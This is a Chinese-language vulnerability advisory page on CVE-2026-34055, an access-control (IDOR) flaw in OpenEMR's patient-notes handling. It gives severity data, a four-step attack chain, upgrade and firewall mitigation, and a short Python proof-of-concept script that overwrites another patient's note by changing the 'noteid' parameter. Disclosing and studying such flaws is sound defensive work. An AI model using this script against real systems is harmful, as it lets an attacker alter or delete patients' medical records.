IPBUF安全漏洞报告
English
CVE-2026-34055 CVSS 8.1 高危

CVE-2026-34055 OpenEMR Web UI IDOR漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-34055
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

IDOROpenEMRAccess ControlHigh Severity CWE-639

漏洞概述

OpenEMR 版本 8.0.0.3 之前存在严重的不安全的直接对象引用(IDOR)漏洞。由于系统在处理传统患者备注时未验证归属权限,经过身份认证的攻击者可通过 Web UI 接口,利用用户控制的备注 ID 绕过访问控制。这导致攻击者能够未经授权地更新或删除其他患者的敏感医疗数据,造成严重的信息泄露与篡改风险。

技术细节

该漏洞的核心在于 OpenEMR 的 `library/pnotes.inc.php` 文件中存在访问控制逻辑缺失。在受影响的版本中,系统处理患者备注的更新与删除请求时,仅仅依据传入的 `id` 参数构造 SQL 查询语句(如 `WHERE id = ?`),而未能实施额外的权限校验机制。这意味着,系统没有验证当前发起请求的用户是否具有该备注所属患者的访问授权。Web UI 的多个接口直接将用户输入的备注 ID 传递给后端函数。攻击者利用这一 IDOR(不安全的直接对象引用)漏洞,只需通过低权限账户登录,即可通过枚举或预测 ID 的方式,篡改请求参数中的 ID 值。通过发送特制的 HTTP POST 或 GET 请求,攻击者能够读取、修改甚至删除其他患者的敏感医疗记录,从而严重破坏了数据的机密性和完整性。

攻击链分析

STEP 1
步骤1:侦察与访问
攻击者发现目标系统运行的是 OpenEMR,并获取一个低权限的用户账户(例如普通患者或受限医护人员账户)。
STEP 2
步骤2:分析请求
攻击者登录 Web UI,截获正常更新或删除自己备注的 HTTP 请求,发现请求中包含明文的 'noteid' 参数。
STEP 3
步骤3:利用漏洞
攻击者修改请求中的 'noteid' 参数,将其替换为其他患者的备注 ID(通过枚举猜测 ID),并保持会话 Cookie 不变,发送篡改后的请求。
STEP 4
步骤4:达成影响
服务器端因缺乏权限验证,执行了更新或删除操作,导致受害者的敏感医疗数据被篡改或丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL example for updating a note # The actual endpoint may vary based on OpenEMR configuration target_url = "http://target-openemr/interface/pnotes_add.php" # Attacker's session cookie (obtained after low-privilege login) attacker_cookies = { "OpenEMR": "valid_low_privilege_session_cookie_here" } # The vulnerable parameter is 'noteid'. # An attacker can change this ID to access other patients' notes. payload_data = { "noteid": "456", # ID belonging to a different patient (Victim) "form_note": "This note has been modified by an attacker via IDOR vulnerability.", "form_save": "Save Note", "task": "save" } try: response = requests.post(target_url, data=payload_data, cookies=attacker_cookies) if response.status_code == 200: print("[+] Request sent successfully. Check if the note was updated.") print("[+] Response snippet:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
建议立即升级 OpenEMR 至 8.0.0.3 或更高版本以彻底修复此漏洞。如果无法立即升级,应在 Web 应用防火墙(WAF)中部署规则,监控并拦截针对 'library/pnotes.inc.php' 的异常请求参数(如非预期的 ID 范围或高频的修改请求),并严格限制外部对系统的网络访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表